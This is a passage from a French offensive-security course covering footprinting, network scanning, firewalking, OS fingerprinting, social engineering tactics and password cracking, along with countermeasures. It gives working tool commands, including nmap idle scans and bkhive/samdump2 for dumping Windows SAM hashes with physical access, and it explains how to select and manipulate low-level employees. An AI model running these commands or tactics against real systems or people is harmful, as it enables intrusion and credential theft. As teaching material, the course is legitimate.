Black, white et grey box Bien entendu, l'attaquant peu être face à des systèmes où l'information est plus ou moins difficile à obtenir. On parle alors de back box si l'attaquant n'a aucune information, et a donc besoin de réaliser une collecte d'information totale. Cependant, celui-ci peu avoir obtenu plus ou moins d'informations au préalables : employé de la société, collaborateur, sous-traitant, client, partenaire, consultant, etc ... On parle alors de grey box si l'utilisateur dispose d'informations minimales (comme un couple login / mdp) ou de white box si l'utilisateur dispose déjà de toutes les informations nécessaire, et n'a donc quasiment aucune nécessité de
24
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
réaliser cette première étape.
b) Déterminer les vulnérabilité exploitables Une fois que l'attaquant dispose des informations nécessaires (par exemple, le serveur à attaquer est un serveur Apache, en version X, sur un système GNU/Linux, etc ...), il peu dés lors utiliser ses connaissances (ou en rechercher de nouvelles) afin de déterminer quelles sont les failles connues et exploitable. Connaître ces failles est un travail de longue allène, nécessitant un audit permanent, que tout responsable en sécurité se doit également d'effectuer.
Préparer le terrain Le cracker pourra également utiliser les failles de systèmes annexes à son objectifs afin de mettre en place les outils nécessaires à son attaque futur. Par exemple, un trojan sur une machine donnée pourra permettre, le moment venu, de prendre le contrôle sur une machine du réseau, et ainsi d'outrepasser certaines protections. Là aussi, ce travail peu nécessiter beaucoup de temps et de patience, ce qui nécessite donc de la part des responsable en sécurité une surveillance permanente de leur SI, afin de détecter au plus vite tout signe avant coureur d'une attaque plus grave.
c) Passer à l'attaque Enfin, le cracker utilisera toutes ces informations afin de passer à des attaques concrètes sur son ou ses objectif(s) : DDOS, SQL injection, Cross Site Scripting, etc ...
D. Footprinting 1. Internet footprinting L'Internet footprinting, comme son nom l'indique, consiste à "fouiller" dans l'empreinte digitale de la cible sur Internet. Cela peu passer par une très grande diversité d'outils et de méthodes. En voici quelques exemples :
a) Sites web Archives et moteurs de recherches Un grand nombre d'informations peuvent être retrouvées via des moteurs de recherche (Google Hacking) ainsi que des sites d'archives (comme archives.org). Ceux-ci peuvent par exemple permettre de retrouver des fichiers spécifiques de configuration de serveur web, d'authentification, etc ... Les archives sont, elles, très utiles pour réaliser des comparaison dans le temps : la configuration de ce serveur a-t-elle été changée dernièrement ? Qui a quitté l'entreprise il y a peu ? etc ...
Exemple
: Google Dorks
Vous pourrez retrouver un grand nombre d'exemples de google hacking sur exploitdb.com23
23 - http://www.exploit-db.com/google-dorks Noël Macé (noelmace.com)
25
Sécurité offensive : savoir attaquer pour mieux se défendre
Annonces d'emploi, CV d'employés, etc ... Tout site "professionnel" peu également donné de nombreuses informations sur la cible. Par exemple, si une entreprise recherche un DB admin Oracle ou comporte un admin Oracle dans ses rangs, c'est sans aucun doute qu'au moins un de ses serveurs de donné utilise cette solution. Nous pouvons donc ensuite rechercher où exactement ce serveur est disponible, récupérer plus d'informations à son sujet, et utiliser des failles connues.
Réseaux sociaux, forums et groupes de discutions Tout site à dimension sociale est une mine d'or pour les attaquants potentiels : informations sur la structure de la société, employé faisant part de problèmes rencontrés, connexions entre personnes, informations personnelles, etc ...
Collecte d'adresses emails et de noms d'utilisateurs par le web L’énumération d'adresses emails et de noms d'utilisateur par recherche sur le web peu permettre de récolter certaines informations sur l'organisation de la cible, ses membres, et ainsi cibler un utilisateur en particulier.
b) Autres services WHOIS Les WHOIS sont des services de recherche, offerts par des registres Internet (comme les Registres Internet Régionaux tel que RIPE NCC pour l'Europe), permettant de récolter les informations liées à un domaine ou une plage d'adresses ip. Ainsi, il est possible en passant par un WHOIS, de savoir la date d'allocation d'un domaine, le nom et les contacts (adresse, numéro de téléphone) de son propriétaire, l'identité du registrar associé, etc ... Pour l'utiliser, il suffit de lancer la commande whois sous GNU/Linux, suivie du nom de domaine ou adresse IP à analyser, ou de se rendre sur whois.net24
Énumération DNS Le DNS est bien entendu un élément central de toute configuration réseau, mais aussi, souvent, l'un des plus accessible publiquement, du moins en partie. L'énumération DNS va donc nous permettre de récolter de premières informations sur la structure du réseau visé et l'hébergement des différents services d'un nom de domaine.
Exemple
: dnsenum.pl
dnsenum est un script perl permettant de faire une interrogation DNS complète, comprenant : la récupération des adresses d'hôtes (enregistrements A), de serveurs de nom (NS) et de serveurs de messagerie (MX) transfert de zone complet si possible (requêtes axfr)
l'affichage de la version de serveur (BIND) utilisée
la récupération de sous-domaines par google hacking par bruteforcing (à partir d'un fichier) avec récursivité requêtes whois
24 - http://whois.net/
26
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
l'enregistrement (vers un fichier domain_ips.txt) des blocs IP
reverse lookup sur les blocs
2. Internet Footprinting : mise en pratique Objectifs Nous allons ici mettre en pratique les différents éléments vus dans le module Internet Footprinting via différents outils.
Pour ce faire, nous allons utiliser deux outils disponibles dans Kali Linux : TheHarvester et dnsenum.pl
a) TheHarvester TheHarvester est un script python d'énumération de noms d’utilisateurs et emails permettant de rechercher simplement et rapidement ceux-ci pour une entreprise grâce à des sites comme google ou linkedin par exemple. Il est par ailleurs directement intégré dans Kali. Pour l'utiliser :
Remarque : Dans Kali Linux Vous retrouverez cet outil dans le dossier /pentest/enumeration/theharvester. Pour le lancer, il vous sera donc nécessaire de vous y rendre via la commande suivante : 1 2
$ cd /pentest/enumeration/theharvester
1
$ ./theHarvester.py -d url-cible -b outil
Usage
Exemple 1
$ ./theHarvester.py -d noelmace.com -b google
b) dnsenum.pl Options Enregistrer les sous-domaines découverts dans un fichier dédié : 1
dnsenum.pl domain.xxx –subfile results.txt
Spécifier un autre serveur de DNS pour la récupération des informations : 1
dnsenum.pl –dnsserver xxx.xxx.xxx.xxx domain.xxx
Noël Macé (noelmace.com)
27
Sécurité offensive : savoir attaquer pour mieux se défendre
i Introduction dnsenum est un script perl permettant de faire une interrogation DNS complète, comprenant : la récupération des adresses d'hôtes (enregistrements A), de serveurs de nom (NS) et de serveurs de messagerie (MX) transfert de zone complet si possible (requêtes axfr)
l'affichage de la version de serveur (BIND) utilisée
la récupération de sous-domaines par google hacking par bruteforcing (à partir d'un fichier) avec récursivité requêtes whois
l'enregistrement (vers un fichier domain_ips.txt) des blocs IP
reverse lookup sur les blocs
Syntaxe 1
dnsenum.pl [Options]
ii Options
Enregistrer les sous-domaines découverts dans un fichier dédié 1
dnsenum.pl domain.xxx -subfile results.txt
Spécifier un autre serveur de DNS pour la récupération des informations Le cache du serveur DNS pouvant fausser certains résultats, il peut-être utile de faire les interrogations sur un autre serveur. De plus, différents serveurs DNS pouvant parfois avoir des entrées différentes, intéroger chacun d'entre eux peu apporter un gain d'informations non négligeable. 1
dnsenum.pl -dnsserver xxx.xxx.xxx.xxx domain.xxx
Brute force Pour déterminer certains sous-domaines par brute force (test de chaque possibilité une à une) avec dnsenum, il vous est possible d'utiliser un dictionnaire, fichier texte listant les différentes possibilités à tester. Dnsenum fourni lui même un dictionnaire de base, dns.txt, listant 95 possibilités. 1
dnsenum.pl -f dns.txt domain.xxx
Google Scraping Une recherche de sous-domaine peu également s'opérer via l'analyse de résultats de recherche google. Les options -p et -s permettent de personnaliser ce comportement. -p XX : nombre de pages de résultat à analyser (20 par défaut)
28
-s XX : nombre maximum de sous-domaines à récupérer (20 par défaut)
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
Whois Dnsenum peu également récupérer un certain nombre d'informations en effectuant des requêtes Whois. Les options -d (ou --delay) et -w (ou --whois) permettent de personnaliser ce comportement. -d XX : nombre maximum de secondes d'attente entre chaque requête whois (chaque délais étant défini aléatoirement) (3s par défaut) -w : réaliser des requêtes whois sur les adresses de classe C
Attention L'usage de l'option -w peut considérablement augmenter le temps de traitement, étant donné la quantité d'adresses possibles.
Remarque : -enum L'option -enum est un raccourci pour --threads 5 -s 20 -w : parallélisation du traitement en 5 threads pour plus de performance, intérogation de google et whois sur les adresses de classe C.
Complément
: Aide
Pour voir l'intégralité des options de dnsenum et leur utilité, lancez simplement : 1
dnsenum.pl -h
3. Scanning Le scanning va nous permettre, en analysant / écoutant un réseau ou certains de ses éléments clés, de déterminer sa structure, ses membres ainsi que certains de ses paramètres de sécurité. C'est donc une étape du footprinting suivant directement l'Internet footprinting et précédent le fingerprinting. On abordera ici les question du tracerouting, du network scanning, du firewalking, et du port scanning.
a) Tracerouting Technique Le tracerouting consiste à suivre le chemin emprunté par un paquet de notre machine vers une machine cible. Pour ce faire, on va utilisé un élément interessant du protocol IP, le TTL (pour Time to Live). Le TTL indique la "durée de vie" d'un paquet IP, grâce à deux points : le TTL est décrémenté à chaque "saut" (passage par un routeur) si le TTL est égal à zéro, le routeur "détruira" le paquet IP et renverra une erreur "TTL excceed" (ICMP type 11) Un utilitaire de tracerouting va donc envoyer plusieurs datagrammes UDP (voir des segments TCP ou des paquets ICMP) successifs vers une cibles, avec un TTL croissant (en partant de 1), ce qui nous permettra de recevoir une réponse de chaque routeur emprunté pour atteindre la cible. Ces réponses, indiquant l'IP du routeur en question, nous permettront donc de "tracer" le chemin normalement emprunté par un paquet IP pour joindre la cible.
Exemple
: tracerouting sous GNU/Linux
La commande traceroute de GNU/Linux (que vous retrouverez dans Kali Linux) Noël Macé (noelmace.com)
29
Sécurité offensive : savoir attaquer pour mieux se défendre
permet simplement de lancer un tracerouting vers une cible. Les options de cette commande les plus utiles sont : -n pour empêcher la résolution de nom
-f XX pour déterminer la valeur initiale du TTL
-I / -T / -U pour respectivement envoyer soit des paquets ICMP, soit des segements TCP, soit des datagrammes UDP.
b) Network scanning Le network scanning va, lui, permettre d'identifier les différents hôtes présents sur un réseau. Pour cela, nous réalison un ensemble de "ping".
Définition : Ping Opération consistant à identifier si un hôte est actif sur un réseau en lui envoyant un message (le ping), qui sera suivit d'une réponse (pong) si l'hôte est effectivement actif.
Attention : Le ping, ce n'est pas que de l'ICMP ! Même si le "ping" est principalement opéré par ICMP (grâce au type 9 , "Echo request", et à sa réponse de type 0, "Echo reply"), il est parfaitement possible de le réaliser grâce à d'autres protocoles (TCP ou ARP).
Exemple
: arp-scan
Sous GNU/Linux : 1
arp-scan --localnet -I eth0
Permet de lancer un scan ARP sur le réseau local connecté via l'interface eth0. Exemple : chercher les machines VirtualBox dans un sous-réseau local : 1
arp-scan 172.26.10.0/24 -I eth0 | grep -P '\t08:00:27'
Complément
: Liste des adresses MAC constructeur
Vous pouvez facilement déterminer le constructeur d'une carte réseau grâce à son adresse MAC : http://standards.ieee.org/develop/regauth/iab/iab.txt 25
http://standards.ieee.org/develop/regauth/oui/public.html 26
La plupart sont directement renseignées dans arp-scan (/usr/share/arp-san/*.txt).
c) Port scanning Le port scanning est une technique permettant de déterminer les ports ouverts ou fermés sur une cible. Il peu se faire via plusieurs protocoles et techniques : TCP (SYN stealth, Xmas scan, FIN scan, NULL scan, ACK scan), UDP, IP, ou encore via un tiers (FTP scan, idle scan).
25 - http://standards.ieee.org/develop/regauth/iab/iab.txt 26 - http://standards.ieee.org/develop/regauth/oui/public.html
30
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
Exemple
: nmap
nmap est un outil en ligne de commande permettant de réaliser de nombreuses opérations sur un réseau, y compris du port scanning, mais aussi du network scanning. En voici quelques options utiles : network scanning -sP : ping scanning -sT : TCP connect( ) scan port scanning -sS : SYN stealth scan -sX : Xmas scan -sF : FIN scan -sN : Null scan -sA : ACK scan -sU : UDP scan -b : FTP bounce scan -sI : Idle host scan -g : Source port scan -sO : IP protocol scan SYN stealth scan sur l'hôte 192.168.1.10 : 1
nmap -sS 192.168.1.10
Pour oppérer un Idle host scan : On recherche un "zombie" adéquat (Windows XP par exemple ) : 1 2
nmap -sP 172.26.10.0/24 nmap -O 172.26.10.241
Puis on lance le scan sur une cible : 1
nmap -P0 -sI 172.26.10.241 172.26.10.1
d) Firewalking Le firewalking permet, grâce à différentes méthodes (tracerouting, TTL, ping, etc ...), de déterminer les ACL d'un firewall. Concrètement, le firewalking va généralement être opéré via tracerouting. Si une réponse "Time Exceeded" est reçue, cela indique alors que le paquet en question a bien pu passer le firewall. Si, en revanche, aucune réponse n'est reçue, le paquet n'a pas passé le firewall. Enfin, si une réponse "ADMINISTRATIVELY_PROHIBITED" est reçue, cela nous indique directement qu'une ACL du firewall interdirait ce paquet à passer. Le tout est complété par un port scanning afin de déterminer les ports ouverts et fermés.
Exemple
: firewalk et nmap script
Les deux outils les plus connus pour opérer du firewalking sont firewalk, un outil en ligne de commande pour GNU/Linux (mais non disponible par défaut sous BackTrack) et nmap, à l'aide d'un script (directement disponible sous BackTrack). Firewalking TCP avec firewalk sur le firewall 192.168.1.10 sur les ports 20 à 25 : 1
firewalk -p TCP -S 20-25 192.168.1.10 192.168.10.10
Noël Macé (noelmace.com)
31
Sécurité offensive : savoir attaquer pour mieux se défendre
ou avec nmap : 1
nmap --script=firewalk --traceroute 192.168.10.10
4. Fingerprinting Le fingerprinting est une phase du footprinting intervenant juste après le scanning. Une fois les hôtes (leurs différents services, ainsi que l'infrastructure de leur réseau) déterminés grâce au scanning, nous allons, grâce au fingerprinting, déterminer le système d'exploitation de ces hôtes, afin, ensuite, d'exploitées les différentes failles connues sur celui-ci.
Fonctionnement Le fingerprinting se base sur une base de données "d'empreintes" de systèmes d'exploitation, établie grâce aux différents comportements de ceux-ci relativement aux protocoles TCP/IP. En effet, chaque OS intègre les standards de manières différentes, et ces différences, subtiles mais systématiques, permettent de distinguer les OS uniquement grâce à leurs réponses.
a) Deux techniques fingerprinting passif Solution la moins intrusive, le fingerprinting passif ne nécessite aucune interaction directe avec la cible. En effet, nous allons ici nous baser uniquement sur les informations délivrées grâce à une écoute du réseau (Sniffing). Cependant, cette solution sera bien entendu bien moins efficace et plus longue que la suivante, puisque ne permettant pas de déclencher d'opération spécifique de la part de la cible.
fingerprinting actif Pour gagner en temps et en efficacité, il peu donc être choisi d'opérer un fingerprinting actif. Ici, au lieu d'écouter le réseau, nous allons directement envoyer une série de paquets spécifiques à la cible, permettant d'obtenir exactement les réponses les plus parlantes.
b) Outils nmap Nmap dispose d'une large base de donnée, constamment mise à jour, permettant le fingerprinting. Pour ce faire, il suffit d'utiliser l'option -O : 1
$ nmap -O 192.168.1.10
5. Comment contrer le footprinting ? Comment se prémunir du footprinting ? Nous allons voir ici différentes techniques permettant la défense contre les différentes techniques évoquées, puis concluerons par une rapide réfléxion sur l'utilité et la relation à entretenir vis à vis de ces techniques.
32
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
a) Contres mesures Éviter toute verbosité De nombreuses techniques de footprinting reposant sur les réponses offertes par les cibles (network scanning, firewalking, tracerouting), bloquer (grâce à un firewall ou à certains paramètres système) l'envoi de ces réponses est bien entendu une des premières contres mesures à mettre en place. Revers de la médaille : ces messages ont bien entendu à l'origine un but, informer l'utilisateur "bien intensionné" d'une erreur dans le système. Bloquer ces message aura donc pour effet non seulement d'éviter de donner des informations aux attaquants, mais aussi aux usagers et administrateurs. Les premiers messages à bloquer, sans grande conséquence pour les utilisateurs "normaux", seront les paquets ICMP de type 0 (echo reply) et 11 (time exceeded). D'autres paquets ICMP, comme ceux de type 9 (echo request) ou 3 (Destination Unreachable), peuvent également être bloqués.
"Fausser" les réponses Autres solution encore plus utile, il est possible de "fausser" les réponses à des telles attaques, via un utilitaire ou en modifiant certains paramètres du système. Par exemple, portspoof est un utilitaire permettant d'envoyer systématiquement des réponses erronées à un port scanning sur une machine GNU/Linux.
Respecter une politique de sécurité sctrict Par ailleurs, nous avons également vu que de nombreuses informations sur une cible peuvent être obtenues par Internet. Il est donc primordiale de mettre en place une politique de sécurité strict pour toutes les parties en présence (employés, collaborateurs, etc ...) afin d'éviter que certaines informations compromettantes filtrent. Pour cela, il est bien entendu nécessaire que toutes les personnes impliquées soient correctement formées, informées et sensibilisées aux enjeux de la sécurité. Tout cela se fera particulièrement dans le cadre de la sécurité opérationnelle, mais également sur certains points de sécurité défensive.
b) Obscurité ou ouverture ? Limites de la sécurité par l'obscurité Comme nous venons de le voir, la principale contre-mesure directe au footprinting est bien entendu d'éviter que des informations compromettantes parviennent aux attaquants potentiels. C'est ce qu'on appel la sécurité par l'obscurité. Il est cependant aujourd'hui reconnu que la politique par l'obscurité ne peu fonctionner, de part deux faits : aucune organisation, quelque soit ses moyens, n'est capable de filtrer et contrôler toutes ses informations l'obscurité empêche également les white hats, utilisateurs et administrateurs de correctement auditer le système, et donc d'informer l'organisation de ses failles Aujourd'hui, le comportement prépondérant est cependant de privilégier l'obscurité ... jusqu'à entraîner de nombreuses conséquences d'un point de vue juridique. Dans de nombreux pays, même de simples pings peuvent être considérés comme illégaux, permettant ainsi aux organisations de porter plainte contre toute personne ayant utilisé une technique de footprinting, malgrès le fait que l'usage de ces technique n'est que rarement suivit par des attaques concrètes portant à conséquence. Poursuivre ce genre de politique est extrêmement contre productif en cela qu'elle prive de l'aide de nombreux hackers bienveillants, prêts à informer l'organiser de toute faille rencontrée. Noël Macé (noelmace.com)
33
Sécurité offensive : savoir attaquer pour mieux se défendre
Privilégier l'ouverture Pour une politique de sécurité efficace, il est donc primordial de refuser toute poursuite judiciaire contre les white hats, et d'informer la communauté de ce choix. Bien entendu, cela implique une politique de sécurité bien établie et la plus fiable possible, puisque nous permettons par la même occasion aux black hats de réaliser leur footprinting en toute impunité. Mais récolter ces informations ne sera que de peu d'utilité à un cracker si celui-ci ne rencontre aucune faille.
E. Ingénierie sociale : cracker sans ordinateur Qu'est ce que l'ingénierie sociale ? L'ingénierie sociale (ou social engineering en anglais) est une forme de cracking sans ordinateur, puisque utilisant uniquement la principale faille de tout système : l'humain. En abusant des faiblesse de son interlocuteur (confiance, peur, ignorance, crédulité), le cracker pourra obtenir des informations clés, certains accès, voir même des biens ou des services. L'ingénierie sociale formalise toutes les techniques utiles à cette tâche et peu donc être utilisé aussi bien dans la première phase d'étude d'une attaque, que lors de l'attaque elle même.
1. Méthodologie Les 4 phases de l'ingénierie sociale Pour réaliser une bonne ingénierie sociale, il est nécessaire de décomposer sa démarche en quatre phases clés : 1. recherches sur la cible Internet footprinting, documents, etc ... 2. sélection d'une "victime" en fonction de ses "failles" supposées, de ses capacités d'action et des informations disponibles 3. prise de contact et entretien de la relation même si non indispensable, cette étape permettra toujours d'obtenir bien plus de la victime grâce à sa confiance 4. exploitation collecte d'informations, mise en place d'outils pour une attaque future (trojan, backdoor ...), accès aux locaux, etc ...
Qui cibler ? Avant de choisir une victime, il est bien entendu important de se renseignement sur le rôle de chacun dans la société et, autant que possible, sur la politique de sécurité mise en place et le niveau de formation sur les questions de sécurité. Il est assez rare de pouvoir directement exploiter des techniciens et décisionnaires, car ceux ci, généralement conscient de l'importance de l'information et de la politique de sécurité, seront difficilement exploitables. Mais leur exploitation reste possible. En sortant des techniques conventionnelles et avec beaucoup d'ingéniosité, exploiter ce type de personne permet donc d’accéder rapidement à certaines informations et services hautement sensibles. Les victimes généralement privilégiées sont cependant des personnes de plus bas niveau (hiérarchique et de compétence) dans l'organisation cible : secrétaires, clients, opérateurs, assistants, etc ... car ceux-ci sont généralement assez peu formés (et donc peu sensibilisés) aux enjeux de la sécurité.
34
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
2. Quelques techniques d'ingénierie sociale Les bonnes vieilles méthodes L'ingénierie sociale peu parfois passer par des techniques déjà bien connues et très simples comme : l'eves dropping ("écouter aux portes")
dumpster diving ("fouiller les poubelles")
shoulder surfing ("regarder par dessus l'épaule")
etc ...
Hameçonnage (Phishing) Le phising est une technique de plus en plus connue du grand publique, mais encore très employée. Elle consiste simplement à se faire passer pour un tiers de confiance (banque, entreprise, etc ...) auprès de la victime, afin de lui soutirer des informations personnelles, le plus souvent pour une usurpation d'identité. Elle s'opère le plus souvent par e-mail ou site web falsifié, mais aussi par courrier postal (ou smail, pour snail, escargot en anglais, et mail) ou tout autre moyen (réseaux sociaux, forums, irc ...).
Exemple de phishing
Noël Macé (noelmace.com)
35
Sécurité offensive : savoir attaquer pour mieux se défendre
Reverse Social Engeneering Le reverse social engeneering est une des techniques les plus poussées de l'ingénierie sociale, nécessitant beaucoup de préparation, mais aussi une des plus efficace. Elle consiste en effet à "renverser" les rapports entre l'attaquant et la victime, en faisant en sorte que la victime elle même fasse appel à l'attaquant. En quelque mots, nous faisons en sorte que la victime "ai besoin de nous". Cela passe généralement par les étapes suivantes : 1. se renseigner sur la victime (comme pour toute opération d'ingénierie sociale) 2. se renseigner sur ses difficultés et, à défaut, en créer 3. résoudre les premières difficultés de la victimes (bénévolement ou contre un prix modique) afin de gagner sa confiance 4. déclencher (ou attendre) une difficulté de plus grande envergure, pour laquelle nous pourrons intervenir
3. Contre-mesures Pour se prémunir contre l'ingénierie sociale, il n'existe qu'une seule et même méthode, valable pour tous les aspects de la sécurité : former, renseigner, encadrer ! Pour améliorer la robustesse de ces protections, mettre en place une démarche standard pour toute opérations liées aux informations et manipulations d'outils informatiques ou sain de l'entreprise peu être un plus indéniable. Cela peu passer par une classification des informations et des services (secret, confidentiel, etc ...) et la mise en œuvre de procédures systématique pour chacune de ces classe (validation par un supérieur, vérification de l'identité de la personne, etc ...).
4. Pour aller plus loin Ouvrages de référence Kevin Mitnick et William L. Simon and Linux Di Mafia and Holt 49, L'art de la supercherie, éditions Wiley/Campus Press, 6 mai 2003, 377 p. (ISBN 2-7440-15709)
F. Les principales attaques à connaître 1. Password cracking Un mot de passe (ou passphrase) est un élément essentiel de l'authentification et de la sécurisation des accès et données. Une étape clé dans le cracking d'un système est donc de récupérer ces mots de passe. Cela peu se faire de deux manières : soit par vol d'information (le plus souvent par social engeneering ou sniffing), soit par une solution technique. C'est cette dernière méthode que nous évoquons quand nous parlons de password cracking.
a) Deviner un mot de passe Deviner un mot de passe peu s'avérer bien plus simple qu'il pourrait sembler à prime abord. En effet, avec une petite étude préalable (ingénierie sociale, vol d'informations, etc ...), il est possible de connaitre des informations clés sur
36
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
l'utilisateur ayant généré le mot de passe. Le plus souvent, les utilisateurs peu sensibilisés aux questions de sécurité utilisent de simples mots du dictionnaire, des prénoms, etc ... Et, cerise sur le gâteau, un encore plus grand nombre d'utilisateurs ré-emploient le même mot de passe sur plusieurs plateformes.
Quelques exemples de mots de passe
identique (ou similaire) au nom d'utilisateur : root, toor, noel, utilisateur138, admin, guest... simple dérivé du terme "mot de passe" : pass, password, p@ssword, mdp, etc ... un mot très courant : toto, test, beta, qwerty, azerty, 1234, 1234567890 ... un mot lié à la vie ou l'entourage de l'utilisateur : pierre, medor, sylvie, date d'anniversaire d'un enfant ...
b) Password dumping Une étape nécessaire La plupart des systèmes limitent aujourd'hui le nombres d'essais possibles sur un mot de passe. Il est donc nécessaire, le plus souvent, de récupérer le hash de ce mot de passe (en base de donnée, dans un fichier de configuration, par sniffing ...) afin de pouvoir le cracker "tranquillement". C'est ce qu'on appel le password dumping.
Exemple
: Sur une session Windows ouverte
pwdump est un famille d'utilitaires permettant de récupérer les hashs LM et NTLM à partir de la base SAM d'un système windows. On peu par exemple en récupérer une version ici27 (sans garantie cependant de sa fiabilité).
Exemple
: Avec accès physique à une machine Windows
Si, en revanche, vous ne disposez pas d'une session ouverte sur la machine, vous pouvez tout simplement redémarrer cette machine sur un live backtrack (de préférence en live-usb avec stockage permanent) et lancer les commandes suivantes après montage de la partition windows : 1 2 3 4 5 6
$ cd /mnt/sdaX/Windows/System32/config/ dump de la clé de chiffrement de la base SAM, syskey/bootkey : $ bkhive SYSTEM ~/key.txt dump de la base SAM décryptée grâce à la clé précédemment récupérée : $ samdump2 SAM ~/Desktop/key.txt > ~/Desktop/hash.txt Puis nous pouvons partir et cracker ces hashs d'un endroit plus sûr (par exemple avec Ophcrack) ...
c) Password cracking Préalable Obtenir des information sur la politique de sécurité concernant les mot de passes à cracker est primordiale. Par exemple, savoir qu'un mot de passe comprend nécessairement entre 8 et 12 chiffres ou lettres minuscules diminuera radicalement le nombre d'essais nécessaires.
27 - http://www.tarasco.org/security/pwdump_7/ Noël Macé (noelmace.com)
37
Sécurité offensive : savoir attaquer pour mieux se défendre
Bruteforcing L'attaque par bruteforcing est sans doute une des techniques les plus simple à comprendre et concevoir, mais également une des moins efficace. Elle consiste en effet à tester, une à une, toutes les combinaisons de caractères possibles, jusqu'à obtenir le mot de passe correspondant. Ce genre de solution demande, dans la plupart des cas, de très grandes ressources, puisque étant réalisée sans aucune optimisation. Le nombre de possibilités dépend directement du nombre et du type de caractères employés : si le mot de passe ne contient que des lettres de l'alphabet, toutes en minuscules ou en majuscules, 26N essais au maximum seront nécessaires si le mot de passe ne contient que des lettres de l'alphabet, à la fois majuscules ou minuscules, 52N essais au maximum seront nécessaires si le mot de passe est constitué d'un mélange de minuscules, minuscules et chiffres, 62N essais au maximum seront nécessaires ce nombre devient encore plus grand si le mot de passe peu être composé d'espaces et de caractères spéciaux De ce fait, de nombreuses optimisations sont nécessaires. En voici quelques unes.
Attaque par dictionnaire Une attaque par dictionnaire consiste simplement à tester si différents termes d'un dictionnaire (que l'on pourra avoir téléchargé ou personnalisé) correspondent au mot de passe recherché. Cette solution est particulièrement utile si les usagers sont peu sensibilisés aux politiques de sécurité, et utilisent probablement des mots courants, des noms, des prénoms, ou des combinaisons courantes (voir la partie précédente).
Rainbow table Les rainbow tables sont des structures de données permettant de retrouver un mot de passe grâce à son emprinte, établie par cryptanalyse. Celles-ci sont extrèmement efficaces ! Par exemple, un LM hash (comme ceux utilisés sous Windows XP) peu être cracké en quelques secondes grâce à elles. Cependant, une rainbow table est rapidement très volumineuse. Par exemple, pour un LM hash sur 62 caractères (chiffres, minuscules et majuscules), la rainbow table nécessaire "pèsera" dans les 703Mo, alors que celle nécessaire pour un LM hash comprenant des caractères spéciaux (espaces compris) "pèse" dans les 7,5Go.
Optimisations statistiques De fait, il n'existe aujourd'hui pas de générateur d’aléatoirité parfait. Comme les fonctions de hashage reposent sur ces générateurs d’aléatoirité, il est possible, par simple information statistique, de réduire drastiquement le nombre d'essais nécessaires. Il peu pour cela être fort utile de savoir sur quel système a été réalisé ce hashage (architecture, OS, logiciel). D'autres observations statistiques peuvent encore permettre de cracker plus simple un mot de passe. Par exemple, certains travaux récents de Kevin Young28 ont permit de cracker des pass phrases très rapidement grâce à de simples études statistiques basées sur un certain contexte linguistique.
28 - https://linuxfr.org/users/gui13/journaux/la-proche-fin-des-mots-de-passe
38
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
Exemple
: John the ripper
John the ripper est sans doute un des crackers pour mot de passe les plus connus. Cet outil, simple d'emploi, peu réaliser cracker un mot de passe via 3 modes principaux : mode simple : adaptés aux mots de passes les plus faibles, ce mode réalise de simples transformations à partir du nom d'utilisateur mode incrémental : réalise un bruteforce optimisé par rapports aux fréquences d'utilisation de caractères mode dictionnaire : attaque par dictionnaire D'autres modes sont bien entendu possibles. John réalise ces opérations sur un fichier, dans lequel auront été placés les hash des mots de passe à cracker. Ce fichier peu donc être un simple fichier de configuration, comme par exemple un fichier /etc/shadown d'un système Unix. Pour télécharger john the ripper, rendez vous sur openwall.com29. John est également directement disponible dans backtrack 5, dans le dossier /pentest/passwords/john. 1 2
Mode simple : $ john password.txt
1 2 3 4 5 6
Mode incrémental : $ john --incremental password.txt Pour restreindre la recherche aux caractères alphabétiques : $ john -i :alpha password.txt Pour restreindre la recherche aux chiffres : $ john -i :digit password.txt
1 2
Attaque par dictionnaire : $ john --wordlist=password.lst password.txt
Pour obtenir des dictionnaires supplémentaires, vous pouvez soit les télécharger (sur le ftp de john30 par exemple) ou les créer (voir pour cela la documentation31). 1 2
Pour afficher les mots de passes trouvés : $ john --show password.txt
Pour en savoir plus, rendez vous sur la documentation de john the ripper : http://www.openwall.com/john/doc/32
2. Rappels sur les protocoles réseaux et transport a) Modèle OSI Présentation
standard de communication en réseau de tout les systèmes informatiques OSI : Open Systems Interconnection Modèle basique de référence pour l'interconnexion des systèmes ouverts (OSI) : ISO 7498
29 - http://www.openwall.com/john/ 30 - ftp://ftp.openwall.com/pub/wordlists/ 31 - http://www.openwall.com/john/doc/RULES.shtml 32 - http://www.openwall.com/john/doc/ Noël Macé (noelmace.com)
39
Sécurité offensive : savoir attaquer pour mieux se défendre
nécessaire face à la diversité des solution à sa création (1984) définie un modèle universel pour les développeurs et les fabricants détermine clairement le rôle de chaque élément et protocole par une décomposition en couches chaque couche servant de support à la couche supérieure -
Couches hautes
Couches basses
40
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
Protocoles
b) TCP Introduction Deux protocoles de couche transport dans le modèle TCP/IP TCP : pour les communications nécessitant une fiabilité des données Protocole de contrôle de transmission UDP : pour les communications privilégiant le débit Permettent le dialogue entre applications OSI niveau 2 (Liaison) : communication sur réseau local
OSI niveau 3 (Réseau) : communication entre réseaux entre machines distantes OSI niveau 4 (Transport) : communication entre applications distantes
i Rôle et structure
Éléments contrôle des données mode connecté établissement d'une session de communication entre deux hôtes (applications) à ne pas confondre avec la couche session du modèle OSI (auth) régulation du débit par émission de messages (segments) de taille variable multiplexage cohabitation sur une même ligne d'informations destinées à diverses applications en les identifiant grâce à un numéro (de port)
Noël Macé (noelmace.com)
41
Sécurité offensive : savoir attaquer pour mieux se défendre
Segment TCP
ii Ports TCP stockés sur 2 octets défini l'application émettrice et l'application destinataire de l'information permettent le multiplexage 3 catégories :
ports "bien connus" (Well-known ports) de 0 à 1023 assignés par l'IANA (Internet Assigned Numbers Authority) protocoles largement utilisés exemples : FTP (21), SSH (22), HTTP (80) voir liste officielle33
